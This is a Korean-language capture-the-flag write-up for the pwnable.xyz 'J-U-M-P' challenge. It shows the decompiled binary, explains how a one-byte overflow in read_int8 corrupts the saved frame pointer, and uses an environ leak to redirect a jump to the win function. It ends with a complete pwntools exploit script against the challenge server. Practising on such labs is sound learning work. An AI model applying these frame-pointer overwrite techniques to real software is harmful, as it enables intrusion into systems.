[pwnable.xyz]J-U-M-P
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int8 v3; // [rsp+2Fh] [rbp-11h]
__int64 v4; // [rsp+30h] [rbp-10h]
void *v5; // [rsp+38h] [rbp-8h]
setup();
v4 = gen_canary(); // canary
puts("Jump jump\nThe Mac Dad will make you jump jump\nDaddy Mac will make you jump jump\nThe Daddy makes you J-U-M-P\n");
v5 = &loc_BA0;
while ( 1 )
{
print_menu();
printf("> ", argv);
v3 = read_int8();
switch ( v3 )
{
case 2u:
v5 = (void *)(signed int)((unsigned int)v5 ^ v3);
break;
case 3u:
argv = (const char **)environ;
printf("%p\n", environ);
break;
case 1u:
if ( v4 == canary )
JUMPOUT(__CS__, v5);
break;
default:
puts("Invalid");
break;
}
}
}
read_int8함수에서 buf 크기가 0x20인데 0x21만큼 받으므로 sfp 1바이트를 조작할 수 있다.
int read_int8()
{
char buf; // [rsp+0h] [rbp-20h]
read(0, &buf, 33uLL);
return atoi(&buf);
}
3번 메뉴로 stack address leak이 가능하고 1번 메뉴에서 v5로 뛸 수 있으므로 v5만 변조해주면 win함수를 호출할 수 있다.
main의 rbp를 옮겨서 v5위치에 v3를 만들어 win함수의 하위 1바이트로 변경해주고 canary가 걸려있으니까 rbp를 다시 되돌려준 후 JUMP 뛰면 win함수로 뛰게된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30012)
win = 0xB77
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
sla('>','3')
env = int(p.recvline().strip(),16)
log.info('environ : {}'.format(hex(env)))
rbp = env - 248
log.info('rbp : {}'.format(hex(rbp)))
sa('>','A'*32+p8((rbp&0xff)+9))
sa('>',str(win&0xff))
sa('>','A'*32+p8(rbp&0xff))
sa('>','1')
p.interactive()